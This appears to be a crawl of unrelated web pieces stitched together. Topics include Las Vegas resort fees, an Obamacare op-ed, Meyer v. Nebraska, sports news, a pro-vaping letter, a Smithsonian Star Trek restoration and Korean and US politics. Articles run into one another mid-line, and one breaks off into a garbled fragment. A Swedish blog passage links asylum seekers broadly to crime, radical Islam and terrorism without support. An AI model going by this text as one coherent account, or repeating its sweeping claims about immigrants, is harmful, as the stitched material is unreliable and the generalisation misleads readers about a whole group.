Palace Station (Boarding Pass) – $29.47
Palms – $36.27
Rio (Total Rewards) – $30
Silver Sevens – $20.99
Tuscany – $24
Westgate – $33.96
Westin – $29
Wild Wild West/Days Inn – $17.94
Boulder Strip Resort Fees
Arizona Charlies (Boulder) – $7.50
Boulder Station – $22.59
Eastside Cannery – $6.99
Fiesta Henderson – $18.23
Green Valley Ranch – $44.46
Hoover Dam Lodge – NO FEE
Railroad Pass – NO FEE
Sam’s Town – $15.99
Sunset Station – $25.07
Around Town Resort Fees
Aliante – $15.99
Arizona Charlie’s – $7.50
Cannery – $7.90
M Resort – $19.99
Rampart/J.W. Marriott – $19.99
Red Rock Casino – $44.07
Santa Fe Station -$22.59
Silverton – $14.99
South Point – $21
Suncoast – $17.99
Texas Station – $22.59
But wait, there’s more!
The off-Strip casinos aren’t charging for parking yet. Visit a locals casino any day and you’ll find free self-parking and valet. These casinos could charge in the future, but that’s not the case today. Parking fees at a downtown Las Vegas casino aren’t as simple as free or the all-day parking fees at some casinos on the Vegas Strip. The fee structure varies by day and time.
Downtown Las Vegas casinos started charging for parking to discourage non-customers from parking in their lots and garages. Parking isn’t as ample in downtown Las Vegas as it is on the Vegas Strip. Some casino operators charge for parking during large events like the free concerts at the Fremont Street Experience, First Friday, Life Is Beautiful, and others.
Here’s a look at the current parking fees you’ll find in downtown Las Vegas casinos.
Downtown Las Vegas Hotel Parking Fees
California
Guests: Self-parking and valet – Free
Visitors: Self-parking: Monday-Thursday $5 and Friday-Sunday $10
Valet free
The D
Guests: Self-parking and valet – Free
Visitors: Self-parking: $3 per hour
Valet free
Downtown Grand (Also Pizza Rock and Triple George)
Guests: Self-parking: $7 per day, Valet: $12 per day. Both may be validated
Visitors: Self-parking: Up to $12 per day.
Valet: $7 per day
All parking may be validated. Self-parking rates may change because it’s an outside operator
El Cortez
Guests: Self-parking and valet – Free
Visitors: $5 self-park across the street. Sapphire, Ruby, Diamond self-park at the attached garage for free.
Four Queens
Guests: Self Park – $3 per day guest. Fee may be waived with players club card
Visitor: Self Park – $2 per hour for 6 hours. After 6 hours fee is $10 per day.
Valet free
Will validate if dining, gambling or show
Fremont
Valet only – Free for all
Golden Gate
Guests: Self-parking and valet – Free
Visitors: Self-parking: $3 per hour
Valet free
Golden Nugget
Guests: Self-parking and valet – Free
Visitor: Self-parking – 1st hour is $5 with $20 max per 12 hours
Valet is free
Will validate if dining or show
Main Street Station
Guests: Self-parking and valet – Free
Visitors: Self-parking: Monday-Thursday $5 and Friday-Sunday $10
Valet free
Plaza
Guests: Self-parking and valet – Free
Visitors: First 90 minutes are free; $5.00 up to 5 hours; $10 over 5 hours ($10 max in a 24 hour period). Special event, oversized parking and holiday parking charges may apply.
Updated April 19, 2018: Main Street Station, Fremont, Cal recently started charging a resort fee for the first time.
Resort Fee: $14.99
Resort Fee Tax: $1.95
Resort Fee Total: $16.94
Updated April 2018: The D and Golden Gate is $28.25 per night, El Cortez – $16.89,
Golden Nugget – $33.34, Plaza – $24.86
Updated March 2018: Station Casinos increase resort fees.By Debra Saunders - August 18, 2013
"Washington is an island surrounded by reality," Sen. Chuck Grassley, R-Iowa, likes to say.
In an effort to inject some reality into the Beltway, Grassley introduced an amendment to the Affordable Care Act to require that members of Congress and their staff get their health care from the new Obamacare exchanges. "Congress should live under the laws it creates. That includes Obamacare," Grassley explained.
Enter Washington reality: The rules don't apply to the governing class.
Congress eventually passed the Grassley amendment, and it was included in the bill President Barack Obama signed, but that doesn't mean Washington insiders can't get around it.
There are two things for the political class not to like in the Grassley amendment.
To start, the 11,000 or so members and Capitol Hill staffers now enjoy Cadillac coverage as participants in the Federal Employees Health Benefits Program. The Grassley provision is supposed to make that go away and force those individuals to buy their own coverage through the less prestigious Obamacare health insurance exchanges.
But also, the government -- read: taxpayers -- picks up more than 70 percent of the premiums. There was no language in the final Grassley provision to continue the federal subsidy.
Supporters have been able to sell Obamacare coverage as affordable because the government subsidizes premiums for some middle-income workers. Senators and representatives make $174,000, and their well-compensated staffers can make more than members. Thus, the Grassley amendment represents a pay cut for Hill aides.
House Minority Leader Nancy Pelosi predicted the pay cut would cause savvy Capitol Hill staffers to stampede toward the private sector. Politico reported that both Republicans and Democrats were looking for a way around the law to prevent what wags had dubbed the coming Beltway "brain drain."
After Obama reportedly told Democrats behind closed doors that he would help, the Office of Personnel Management announced a proposed rule to save Congress from its own law.
So the government would continue to pay its employer contribution of premiums. On the one hand, that seems fair. Who wants to get a pay cut and a second-tier health package? On the other hand, this is another example of Washington's taking care of its own in order to prop up a health care plan that costs taxpayers money by discouraging employers from hiring full-time workers.
In Congress, members cannot lose, but the public can.
Worse, the Office of Personnel Management didn't stop there. Its new proposed rule also would allow each member of Congress to "determine whether an employed individual meets the statutory definition" of "congressional staff." The OPM's rationale was that there is "no existing statutory or regulatory definition of the term 'official office.'" As if "official office" is an exotic cipher.
What do we pay these people for if they can't figure out what an official office is?
As a result of that brilliant maneuver, senators and congressmen will be able to exempt their staffers if they so choose. Capitol Hill, it turns out, is one colossal golden-domed exemption.
In pushing his amendment in 2010, Grassley rightly argued: "It's only fair and logical that administration leaders and congressional staff, who fought so hard to overhaul America's health care system, experience it for themselves. If the reforms are as good as promised, then they'll know it firsthand. If there are problems, public officials will be in a position to really understand the problems, as they should."
But there's this ugly reality on Obamacare Island: The rules do not apply to the people who make them.United States Supreme Court case
Meyer v. Nebraska, 262 U.S. 390 (1923),[1] was a U.S. Supreme Court case that held that a 1919 Nebraska law restricting foreign-language education violated the Due Process clause of the Fourteenth Amendment.
Context and legislation [ edit ]
World War I witnessed an extensive campaign against all things German, such as the performance of German music at symphony concerts and the meetings of German-American civic associations. Language was a principal focus of legislation at the state and local level. It took many forms, from requiring associations to have charters written in English to a ban on the use of German within the town limits. Some states banned foreign language instruction, while a few banned only German. Some extended their bans into private instruction and even to religious education. A bill to create a Department of Education at the federal level was introduced in October 1918, designed to restrict federal funds to states that enforced English-only education. An internal battle over conducting services and religious instruction in German divided the Lutheran churches.[2]
On April 9, 1919, Nebraska enacted a statute called "An act relating to the teaching of foreign languages in the state of Nebraska", commonly known as the Siman Act. It imposed restrictions on both the use of a foreign language as a medium of instruction and on foreign languages as a subject of study. With respect to the use of a foreign language while teaching, it provided that "No person, individually or as a teacher, shall, in any private, denominational, parochial or public school, teach any subject to any person in any language other than the English language." With respect to foreign-language education, it prohibited instruction of children who had yet to successfully complete the eighth grade.
Facts and arguments [ edit ]
On May 25, 1920, Robert T. Meyer, while an instructor in Zion Parochial School, a one-room schoolhouse in Hampton, Nebraska, taught the subject of reading in the German language to 10-year-old Raymond Parpart, a fourth-grader. The Hamilton County Attorney entered the classroom and discovered Parpart reading from the Bible in German. He charged Meyer with violating the Siman Act.[3]
Meyer was tried and convicted in the district court for Hamilton County, was and fined $25 (about $313 in 2018 dollars). The Nebraska Supreme Court affirmed his conviction by a vote of 4 to 2. The majority thought the law a proper response to "the baneful effects" of allowing immigrants to educate their children in their mother tongue, with results "inimical to our own safety". The dissent called the Siman Act the work of "crowd psychology".[3]
Meyer appealed to the Supreme Court of the United States. His lead attorney was Arthur Mullen, an Irish-Catholic and a prominent Democrat who had earlier failed in his attempt to obtain an injunction against enforcement of the Siman Act from the Nebraska State Supreme Court. Oral arguments expressed conflicting interpretations of the World War I experience. Mullen attributed the law to "hatred, national bigotry and racial prejudice engendered by the World War". Opposing counsel countered that "it is the ambition of the State to have its entire population 100 percent American".[4]
Majority opinion [ edit ]
In his decision, Justice McReynolds stated that the "liberty" protected by the Due Process clause "[w]ithout doubt... denotes not merely freedom from bodily restraint but also the right of the individual to contract, to engage in any of the common occupations of life, to acquire useful knowledge, to marry, establish a home and bring up children, to worship God according to the dictates of his own conscience, and generally to enjoy those privileges long recognized at common law as essential to the orderly pursuit of happiness by free men".
Analyzing in that context the liberty of the teacher and of parents with respect to their children, McReynolds wrote: "Practically, education of the young is only possible in schools conducted by especially qualified persons who devote themselves thereto. The calling always has been regarded as useful and honorable, essential, indeed, to the public welfare. Mere knowledge of the German language cannot reasonably be regarded as harmful. Heretofore it has been commonly looked upon as helpful and desirable. Plaintiff in error taught this language in school as part of his occupation. His right thus to teach and the right of parents to engage him so to instruct their children, we think, are within the liberty of the amendment." And further: "Evidently the Legislature has attempted materially to interfere with the calling of modern language teachers, with the opportunities of pupils to acquire knowledge, and with the power of parents to control the education of their own."
And finally: "That the state may do much, go very far, indeed, in order to improve the quality of its citizens, physically, mentally and morally, is clear; but the individual has certain fundamental rights which must be respected. The protection of the Constitution extends to all, to those who speak other languages as well as to those born with English on the tongue. Perhaps it would be highly advantageous if all had ready understanding of our ordinary speech, but this cannot be coerced by methods which conflict with the Constitution – a desirable end cannot be promoted by prohibited means."
He allowed that wartime circumstances might justify a different understanding, but that Nebraska had not demonstrated sufficient need "in time of peace and domestic tranquility" to justify "the consequent infringement of rights long freely enjoyed".
Dissent [ edit ]
Justices Oliver Wendell Holmes and George Sutherland dissented. Their dissenting opinion, written by Holmes, is found in the companion case of Bartels v. State of Iowa.[5] Holmes wrote that he differed with the majority "with hesitation and unwillingness" because he thought the law did not impose an undue restriction on the liberty of the teacher since it was not arbitrary, was limited in its application to the teaching of children, and the State had areas where many children might hear only a language other than English spoken at home. "I think I appreciate the objection to the law, but it appears to me to present a question upon which men reasonably might differ and therefore I am unable to say the Constitution of the United States prevents the experiment being tried."
In later jurisprudence [ edit ]
Meyer, along with Pierce v. Society of Sisters (1925), is often cited as one of the first instances in which the U.S. Supreme Court engaged in substantive due process in the area of civil liberties. Laurence Tribe has called them "the two sturdiest pillars of the substantive due process temple". He noted that the decisions in these cases did not describe specific acts as constitutionally protected but a broader area of liberty: "[they] described what they were protecting from the standardizing hand of the state in language that spoke of the family as a center of value-formation and value-transmission... the authority of parents to make basic choices" and not just controlling the subjects one's child is taught.[6] Substantive due process has since been used as the basis for many far-reaching decisions of the Court, including Roe v. Wade, Planned Parenthood v. Casey, and Lawrence v. Texas. Justice Kennedy speculated in 2000 that both of those cases might have been written differently nowadays: "Pierce and Meyer, had they been decided in recent times, may well have been grounded upon First Amendment principles protecting freedom of speech, belief, and religion."[7]
See also [ edit ]
References [ edit ]
Further reading [ edit ]When diesel locomotives flame up, they scare people!
These two rail enthusiasts call 911 after witnessing the CN locomotive flame out!
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You can hear the shaken voices of these two railfans as they pace along side the train watching the sparks fly and eventually the eruptions of flame coming out of the top of the CN locomotive. This all happened with the pitch black night as a back drop which made the whole affair even more dramatic!
With sparks flying everywhere, it is easy to see why these two used more that a few expletives while they were witnessing this event.
When a fire breaks out in a locomotive, the cause can be electric, oil, or fuel related.
In this case, if the fire is being fed by consuming its own lubricating oil from the sump, it just keeps burning and the engine keeps running (like a runaway) until it is all gone. At this point, the real danger is blowing a piston or rod which would be catastrophic.
Locomotives are considered a rolling hazmat to firefighters with a fuel tank capacity of 5,500 gallons of diesel fuel, 410 gallons of lubrication oil, and 380 gallons of cooling water.
In this case, the engineer did the appropriate thing by slowing down and coming to a stop. The next step would have been to shut the entire engine down including the electrical system.
The bottom line, putting out a locomotive fire is a very delicate process for firefighters!
Let us know if you have ever witnessed a “flame out” of a diesel locomotive or have ever seen anything like this in person. We would love to hear about your experience!One of the reasons why growing meat and animal products is easier than vegetables, fruits, or nuts is because they will water themselves if you set it up for them. In this video you’ll see some very simple and effective watering systems that work really well for most backyard and home scale livestock.
This is a completely off-grid system without any pumps, cords, or engines.
Also watch how I make this easy ‘homestead scrubbing brush”. try not to be alarmed at the dead squirrel – it’s just a fact of life that I do my best to prevent.
Check out the video below and drop a comment – oh, and be sure to rate this video! I love your feedback. It is how I get better.
Simple Homemade Water System For Backyard Chickens, Rabbits, Turkeys, Geese, Goats, Sheep, and Other Small Livestock
(Visited 635 times, 1 visits today)MILPITAS — A 35-year-old San Jose resident was arrested Tuesday in connection with a hit and run that left a pedestrian hospitalized with major injuries, authorities said.
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Hayward man suspected of DUI in San Bruno rear-end crash Just before 10 a.m. Monday, Milpitas police responded to a report of an injured woman on South Main Street north of West Curtis Avenue. An investigation revealed she had been walking in a crosswalk when she was hit by a car that then left the scene.
The victim was listed in critical condition Wednesday.
Officers obtained surveillance camera footage from a nearby business that showed the car: a white 2011 Dodge Avenger.
About 11 a.m. Tuesday, officers found the car near Alum Rock and North Jackson avenues in San Jose.
The windshield of the car had been replaced and the passenger side mirror had been repaired, but there was still damage consistent with a pedestrian strike, according to police.
Officers arrested the driver, identified as Lorelay Robles-Partida, and booked her into Santa Clara County Jail on charges of felony hit and run, driving without a license and destruction of evidence.
The investigation is continuing and Milpitas police are asking anyone with information about the hit and run or the car repairs to call 408-586-2400 or visit www.ci.milpitas.ca.gov/crimetip.The same holds true for many vape shop owners. Most are ex-smokers who tried to quit for years. As smokers they were looked down upon and shamed by society. As they stood out in the freezing cold puffing away, they struggled to find a way out.
To some, discovering vaping is nothing short of a miracle. This form of Tobacco Harm Reduction is helping people all over the world quit smoking! Lives of smokers and their loved ones are being saved. They are breaking free of tobacco and will not become a burden on society. They are getting their health back and enjoying a newly found active life with their families. As vape shop owners it becomes a mission to help others quit smoking. It is very rewarding to see first hand hundreds of people finally succeed!
Teachers, doctors, lawyers, group home staff, police officers, firefighters, and vape shop owners don't usually get in their chosen field based on how much money they think they might make, they get in those fields because they believe they can help people. Anyone working in a small town knows they are not going to get rich quick, and yet must make enough money to support their families. There is nothing wrong with advocating to help others and making a living in the same field. Who better to advocate for a better education system than the teachers working with our kids everyday? Do we accuse them of having a conflict of interest because they teach? Sometimes advocates do what they do for their cause and not for their job or business.
The sad fact is that some governments and anti-tobacco activists have chosen to classify vaping as tobacco. Vaping is not smoking. There is no tobacco in an e-cig. It is a safer alternative to smoking. The falsehood of being as evil as tobacco forces the advocates in the vaping community to have to fight on the wrong side, because they have to fight anti-tobacco laws that include vaping in them. After watching the movie "A Billion Lives" I learned just how big the ravine is between the two sides. Those falsehoods also scare away smokers from trying to quit. What a shame, we have two opposing forces who want the same thing - to make the world a healthier place by helping people quit smoking and educate non-smokers so they never start. If the two opposing sides worked together, I wonder how many more lives could be saved?
I smoked for over 40 years and became an expert at failing to quit smoking. My son had a heart attack from smoking related issues and almost died at the age of 29. He tried vaping and succeeded at quitting smoking. He then sold most of his worldly possessions and opened a vape shop. He was the driving force in helping me finally succeed at quitting smoking. I enjoy spending time at my son's vape shop, and have made it my mission to help other senior citizens quit smoking and to advocate for the disabled.—Kim Murray, BrainerdTORONTO – Nazem Kadri was 25 when he finally saw the light. The moment of truth arrived belatedly, after a costly stretch where he was reprimanded for making a throat-slashing gesture, fined twice for diving and had his season ended four games early after cross-checking an opponent in the head.
He was much older than Matthew Tkachuk is today, and had crossed the line more often than the precocious Calgary Flames winger.
But he doesn’t think the 19-year-old should wait any longer before cleaning up his act.
"Yeah, ‘wake up,’" Kadri said Friday, when asked if he had any advice for Tkachuk. "I went through the same thing so I understand what he’s going through. There comes a time where you’ve just got to mature; you can still play on the edge and play on that fine line, but you can’t be stupid.
"And that was just stupid."
The "that" in this case was Tkachuk’s third suspension in a 103-game NHL career – a one-gamer for jabbing Toronto Maple Leafs winger Matt Martin with his stick earlier this week while standing on the player’s bench.
What made the play so senseless in Kadri’s eyes was that it didn’t come in the heat of battle. It also bore a striking resemblance to Tkachuk’s previous suspension, when he got dinged for one game last month when he jabbed Luke Witkowski after the Detroit Red Wings player had already left the ice surface.
"It’s all emotional," said Kadri. "[On Wednesday] I just saw Marty in a scrum there – I’m not sure if he hit somebody or he got hit – obviously [Tkachuk] wasn’t feeling what was going on. But that’s an automatic no-no. I mean between that and poking that guy in Detroit going off the ice, like that stuff’s just totally unnecessary.
"It’s not like it happens if you catch someone coming across the middle and you hit him in the head and you’re already committed to the hit. You know, things happen so fast. Like that kind of stuff, there’s just no excuse for."
Youth may not be an excuse, but it’s certainly helps explain the brain cramps.
The Flames had Brad Treliving meet the media alongside Tkachuk on Thursday night, and the general manager rightly pointed out that we’re dealing with a teenager: "I’d hate for us to go back in time and figure out some of the stuff I did at 19."
The hard-nosed qualities that made Kadri and Tkachuk top-10 draft picks are also what cause them to go over the edge from time to time. Both are elite at goading opponents into taking penalties – Tkachuk is currently tied for first in that category while Kadri is 10th, according to naturalstattrick.com – and pride themselves on playing with an edge.
The positive aspects of that style of game should be on display this weekend with Toronto visiting Pittsburgh on Saturday and hosting Edmonton on Sunday – putting Kadri in position to agitate Sidney Crosby and Connor McDavid on back-to-back nights.
Now 27, he has shown a lot of maturity while growing into Mike Babcock’s favoured shutdown centre. It’s been more than a year since he was in the middle of a controversial incident.
"He’s getting better, I have to agree with that," said teammate Leo Komarov.
It’s likely not a coincidence that both Tkachuk and Kadri are products of the London Knights given the type of players the Hunter brothers tend to gravitate towards. In the Ontario Hockey League, they were urged to play hard and on the edge.
"I’ve talked to Mark [Hunter] about him – I was actually talking to him the other day, asking him if he was a good kid, and he said he was," Kadri said of Tkachuk. "He says he’s got some respect and that kind of stuff’s out of his character.
"Those are just young stupid choices and I’m sure he’s going to get it figured out or else he’s going to get the book thrown at him one of these days."
Kadri has plenty of personal experience with that. He was suspended three games for bowling over Minnesota Wild goalie Nicklas Backstrom in 2013 and then got hit with a four-gamer two years later after catching Edmonton’s Matt Fraser with a head shot.
"The one in Edmonton, that was probably the stupidest thing I’ve ever done," said Kadri. "That one I felt bad about."
He only truly started to clean up his act after the run of incidents late in the 2015-16 season, which culminated with a four-game suspension for a retaliatory cross-check to the head of Detroit’s Luke Glendening.
Kadri begrudgingly credits the NHL’s department of player safety for getting through to him at that time. It didn’t hurt that he’d surrendered $396,078.78 in fines – a number he’s still stinging about today.
"I’ve never [added it up] personally, but I’ve heard about it," said Kadri. "Yeah, it’s like $400,000 or $500,000. Six figures, boys, so that’s never easy to swallow."
He then took a moment to reflect on the cost of doing business. When you straddle the line between right and wrong, he figures you’re bound to drop some salary before eventually figuring a few things out.
That’s where Tkachuk finds himself on the learning curve.
Kadri’s managed to avoid making any further donations to the players’ emergency assistance fund since signing a $27-million, six-year extension in April 2016, and is no longer considered a repeat offender in the eyes of the league.
"You’ve just got to stop doing stupid s**t," said Kadri. "That’s all. That’s the bottom line."
—
Nazem Kadri’s history of being disciplined by the NHL:
Nov. 15, 2013: Suspended three games for hitting Minnesota Wild goalie Nicklas Backstrom and forfeited $44,615.37 in salary.
March 18, 2015: Suspended four games for hitting Edmonton Oilers forward Matt Fraser in the head and forfeited $141,463.41 in salary.
Feb. 11, 2016: Fined $5,000 for making a throat-slash gesture to Calgary Flames defenceman Mark Giordano.
April 1, 2016: Fined $5,000 for two diving offences.
April 4, 2016: Suspended four games for cross-checking Detroit Red Wings forward Luke Glendening in the head and forfeited $200,000 in salary.Arrow Executive Producer Marc Guggenheim talks about possible character restrictions in the wake of Gotham and Constantine.
Paste Magazine just posted a really fascinating interview with Arrow Executive Producer Marc Guggenheim, and one of the topics that came up was whether or not the additions of Gotham on FOX and Constantine on NBC might put restrictions on what characters might be available for Arrow moving forward, since the shows will be on other networks.
(The Flash is, of course, on The CW.)
“I don’t know…we haven’t addressed it yet,” Guggenheim said about possible restrictions. “The way we work with DC is this—at the beginning of the year, they give us a list of characters who they think would be good for Arrow and that we might want to use. That’s always super helpful. Then, on an episode or arc basis, we’ll go to DC and say, ‘Can we use this character?’ Or, we’ll go, ‘Hey, we have a character like this, is there a DC character that fits that mold?’ Sometimes they say ‘yes,’ sometimes they say ‘no.’ Sometimes they say we can use one character but not another. There’s one character in Season Three that we couldn’t get, but DC proposed a better character. It just goes hand-in-hand. I think one of things people appreciated about Season Two was how far we went into the DC universe. We’ll be continuing that into Season Three,” he promised.
You can read the whole Guggenheim interview, including some talk about that Olicity moment from the finale, other TV show influences, how he became involved with Arrow, and more here.BOSTON -- Shane Victorino's motivation to sign as a free agent with the Boston Red Sox this offseason makes a lot of sense for both sides.
For the first time in a five-year span, Victorino missed the playoffs in 2012 after playing for a perennial winner with the Philadelphia Phillies. The Red Sox have failed to earn a postseason berth in the previous three seasons. Boston's general manager Ben Cherington believes Victorino can help turn things around here. Victorino agrees and that's why he signed a three-year deal worth $39 million to play for the Red Sox.
Shane Victorino said he is confident the Red Sox will be postseason-bound in 2013. AP Photo/Elise Amendola
"It wasn't fun to be home at the beginning of October," said Victorino, who will wear No. 18. "I plan on being (in the playoffs) this October and beyond."
Red Sox manager John Farrell has explained the type of roster he and Cherington are trying to create this winter. Both want quality players that will excel on and off the field and believe Victorino will add to what the Red Sox are trying to do.
There's already a buzz among his new teammates about the addition of Victorino to the Red Sox. It didn't take long for players, including Jon Lester, Clay Buchholz, Jacoby Ellsbury and David Ortiz to make their positive feelings known on Twitter once news broke that Victorino had agreed to a deal during the winter meetings last week in Nashville.
When he arrived at Fenway Park on Thursday for his introductory news conference, Victorino walked in and appeared upbeat, wearing jeans, sneakers and a hoodie.
"I'm going to be fun. I'm going to be loud. I'm going to talk a lot. You're going |
INDlVlDUAL)
There are plenty of reasons to like Ward, including his versatility and how hard he plays the game.
Of course, there are reasons for the 49ers to want to move on from Ward, too... namely, his history of injuries. Four of his five NFL seasons have concluded with him going on injured reserve with bone fractures.
Yes, the coaching staff wants to bring back Ward. But general manager John Lynch has every reason to be cautious. It is doubtful the 49ers would enter into a multi-year contract with Ward. If he gets a good offer elsewhere, the 49ers will probably let him walk.
Who has a higher upside between Mullens or Beathard as a backup QB? (@Nacoz49ers)
What will happen possibly with either Mullens or Beathard? Will one become a trading tool potentially? (@BryanRedmann)
C.J. Beathard, a third-round draft pick in 2017, has more upside than Nick Mullens, who was undrafted in that same year. Beathard can make all the throws. He does not seem to have any physical limitations.
That said, Mullens was more productive last season after entering the 49ers’ starting lineup.
Mullens completed 64.2 percent of his passes with 13 touchdowns and 10 interceptions. Only Patrick Mahomes, Andrew Luck and Cam Newton have thrown for more than Mullens’ 2,277 yards through eight starts.
Beathard completed 60.4 percent of his attempts with eight TDs and seven interceptions in five starts.
The 49ers have not given up on Beathard as much as Mullens has put himself into a position to legitimately compete for the backup job to Jimmy Garoppolo.
I doubt either player would have much trade value. No team would made a deal with the idea of either player competing for a starting job. It would probably be more realistic for the 49ers to hold onto both players as insurance.Waterloo has a research archive named after a Liberal Prime Minister, Wilfred Laurier. Calgary has a research archive named after a Liberal Lieutenant-Governor, Grant MacEwan. And Saskatoon probably has one too.
Calgary's landfill is the third busiest landfill in Canada - but it doesn't have a name. It's called the East Calgary Landfill.
So why not rename it the Stephen Harper Research Archive?
Harper's been a major figure in Calgary for more than 20 years. First elected as an MP in 1993. United the right. Beat the Liberals three times. Helped change the country.
Let's rename the East Calgary Landfill to the Stephen J Harper Research Archive. It wouldn’t be Harper’s style — he’s not a show-off, he’s not about selfies, and a landfill named after you is the ultimate selfie.
But he deserves it.Santa Clara, California resident Alex Nguyen has spent countless hours collecting and documenting every practice he believes to be against a free and open internet on Verizon's network. Dating back to 2012, Nguyen has logged 112 pages worth of alleged net neutrality violations with over 300 citations of evidence.
As it turns out, the FCC has not actually made a decision on any formal complaints regarding net neutrality. Although there were thousands of messages sent to the FCC voicing concerns over rolling back policies to protect online freedom, Nguyen was the only person to file a formal complaint on the issue.
The main difference between a formal and informal complaint is that formal complaints must go through a hearing process and end with an official response from the FCC. Informal complaints do not require any substantive response and may be largely dismissed by board members. Filing a formal complaint with the FCC is very similar to filing a court case and will set you back $225 in fees.
Ngyuen's complaint includes a variety of issues from Verizon blocking the use of certain phones and apps, bullying manufacturers to disable features such as FM radio, and outright lying about its own network. His chief complaint is not that Verizon is disabling features in the pursuit of profit, it's that there is "always this pattern of deception with Verizon,” about why actions are being taken. Nguyen mentions Verizon has resorted to issuing statements about fraud prevention and not passing certain tests without disclosing any information to backup such claims.
In the final ruling that is expected any time now, Verizon could be fined, forced to take corrective actions, or could walk away from the issue without incident.Smithsonian Sets Phasers To Restore On Original Starship Enterprise
Enlarge this image toggle caption Ashley Westerman for NPR Ashley Westerman for NPR
Sorry to disappoint Trekkies who still believe, but the actual USS Enterprise did not really take up much space.
That famous starship of Mr. Spock and Capt. James Tiberius Kirk in the original Star Trek TV series — which turns 50 this year — was a model. Quite a large one, to be fair: 11 feet long and about 200 pounds, made out of blow-molded plastic and wood. But not life-sized.
And for more than a decade, it hung in the gift shop of the Smithsonian's National Air and Space museum in Washington, D.C.
Starship 'Enterprise' Designer Remembered Starship 'Enterprise' Designer Remembered Listen
"From a conservator's standpoint, that is probably one of the worst places to put an artifact," says Malcolm Collum, the chief conservator of the National Air and Space Museum.
Enlarge this image toggle caption Ashley Westerman for NPR Ashley Westerman for NPR
Collum leads the team that has been painstakingly restoring the Enterprise over the past year and a half. Conservators used a portable X-ray machine — borrowed from the National Zoo — to piece together the internal structure of the ship.
Though the model has been restored a few times before, the goal this time was to bring the starship back to its TV glory days — circa 1967.
"It's an iconic artifact, so we're really treating this as something that is — it needs to be preserved and treated as authentically as possible," Collum says.
The previous restoration in the 1990s, completed in collaboration with the museum, was controversial for its more interpretive coloring.
Collum says one thing they had to get right this time was the color: green, not gray or white as it appeared on the screen.
"In reality it looks very green, and that's usually the thing that people balk at when they first see it," Collum says.
That look was designed with purpose.
"The folks that built the model knew that they had to put on certain colors that would read well in the studio, but they couldn't use blues because they were using a blue-screen background," he says.
The detailing of the ship only extends halfway — the Enterprise was filmed only on its starboard side. When the series needed to show the port side, editors just reversed the film and added different decals.
"We really want to convey to the audience that this is a studio model," Collum says. "It's not only the iconic spaceship that was on the television series, but it is a physically functioning studio prop that had to be lit, it had to be properly supported, the wires had to be hidden."
On June 28, the USS Enterprise will reach its final frontier beside other famous and historical aircraft in the Boeing Milestones of Flight Hall at the Smithsonian Air and Space Museum.The Swedish mass-immigration in general, and the derailing of the so-called ‘unaccompanied children’, is described by those whom advocate for them as an investment for the future. But behind the political spectacle, a different reality emerges.
For example: 80 pro cent of all newly arrived asylum-seekers with proper school age fail to graduate elementary school, thus lacking high school eligibility. Even amidst the group that are of second generation asylum-seekers, they too show negative numbers.
This means that four out of five newly arrived are faced with a job market that has very little to offer them. Sweden has a low number of unqualified jobs to offer them. This includes the generation of asylum-seekers who have had their children born in Sweden. At best, this means that “only” a couple of billions will be spent on this group as welfare. In many cases, this means that not only are they awaiting a life of unemployment, but also the possibility of heavy criminal behavior or radical Islam/terrorism, far more so than just the economical impact it might have on society as a whole.
The liberal People’s Party D.N. (Daily News) draws the attention (use Google translate to read the article) on the frightening numbers, only to turn it around and use them as a “punching bag” against the current Leftist/Green Party. And the current head of school matters, Gustav Fridolin who prior to becoming a minister proclaimed with high regards how he would change the Swedish school development, from free-fall to success in just one hundred days.
What Daily News Amanda Björkman “forgets” to mention is her own cherished People’s Party with Jan Björklund at the tip, had responsibility for the development of the Swedish school for eight years; before Fridolin took over and that Björklund during several of these years had the same high regard to accomplish much in short time.
Björklund is right about Fridolin not being able to steer the crashing plane to safety. He won’t even marginally change the fact that a crushing majority that do not graduate elementary school, are first and second generation asylum-seekers. In this regard, Fridolin can shake hands with his predecessor – Björklund.
Fridolin is burdened by a heavy leftist/liberal educational quagmire by the bourgeois left-overs, which means that Fridolin’s failure will be far more monumental than that of Björklund. Facts are that no school minister who does not openly proclaim that the school is not prepared by the increase in immigration and in the politics of immigration, will be doomed to failure unless substantial changes are to be implemented to handle this.
On a side-note: There are PLENTY of high school graduates who have to compete with the already high immigration for jobs. Young people in Sweden have a really rough future ahead of them unless there’s a change in the near future to give them a head-start in life. Even suicides in small communities… I might do an article about this in the future.
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say hello : ricstultz@gmail.com digital illustrations can be found here prints, originals & more : my online shop
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is this seat taken?
obvious distaste
OMG WTF
gone man in gone land
he loved his vinyl
record collector
opening up to vinyl
a shared interest
panda explorers
the night watch
sharing his songs
leading the way
DOOM
no longer prey
save the humans
cinematographer
howd you get there?
who snitched?
come my fanatics
the horde
blown away
paying for an awesome night
all cities: abstract at first
all of us
city in abstract
soul windows
run the town
when the city was ours
relapse
city slickerActing President Hwang Kyo-ahn told government officials on Thursday to review whether a revision was needed to an antigraft law passed last year that has drawn the ire of businesses affected by the regulation’s spending caps.The order came after Hwang received briefs from five government ministries on policy plans for the year and from an unnamed expert in the private sector who suggested the so-called Kim Young-ran Law’s spending limits did not match current consumer prices.The law prevents public officials, journalists and teachers from receiving meals worth more than 30,000 won ($25), gifts worth more than 50,000 won and wedding/funerary cash of more than 100,000 won. The law took effect on Sept. 28 last year.The consultant argued the 30,000 won cap was based on data from 2003 and that other parts of law were unreasonable. The government did not release the name or occupation of the expert.“The law needs to be revised to ease the financial burden on low- and middle-income households,” the expert said, adding that the rules might hurt businesses selling flowers, which are commonly used as gifts at weddings and funerals, and restaurant owners.Hwang subsequently requested government officials to review whether a revision to the law was necessary “as long as it doesn’t damage the purpose of the law.”The expert’s concern was amplified by a new report from the Korea Development Institute, a state-run think tank, that found consumer sentiment had weakened significantly in December. With persisting uncertainties at home and abroad, the institute warned that the economy was not likely to improve in the short run.“The consumer sentiment index tumbled, suggesting the possibility of a gradual fall in private consumption,” the institute said in its report Thursday. “Construction-related indicators, including construction orders received, remained weak, signaling a gradual moderation in construction investment growth as well.”The composite consumer sentiment index in December was at 94.2, down from 95.8 recorded in November. A reading above 100 indicates the majority of survey participants maintain a positive outlook on the national economy, while a reading below 100 indicates a negative view.The sluggish consumer numbers were moderated by industrial output, which grew 4.6 percent year on year in November, as the mining and manufacturing sectors showed improvement, the institute said.BY KIM YOUNG-NAM [kim.youngnam@joongang.co.kr]If Republicans nominate Donald Trump as their presidential candidate, he would be the least popular major party nominee in at least three decades of Washington Post-ABC News polling.
Trump’s unfavorable rating stood at 67 percent — two-thirds of all Americans — in a March Post-ABC poll, including 56 percent who had a “strongly” unfavorable impression of him. Just 3 in 10 had a favorable impression of Trump (15 percent “strongly”).
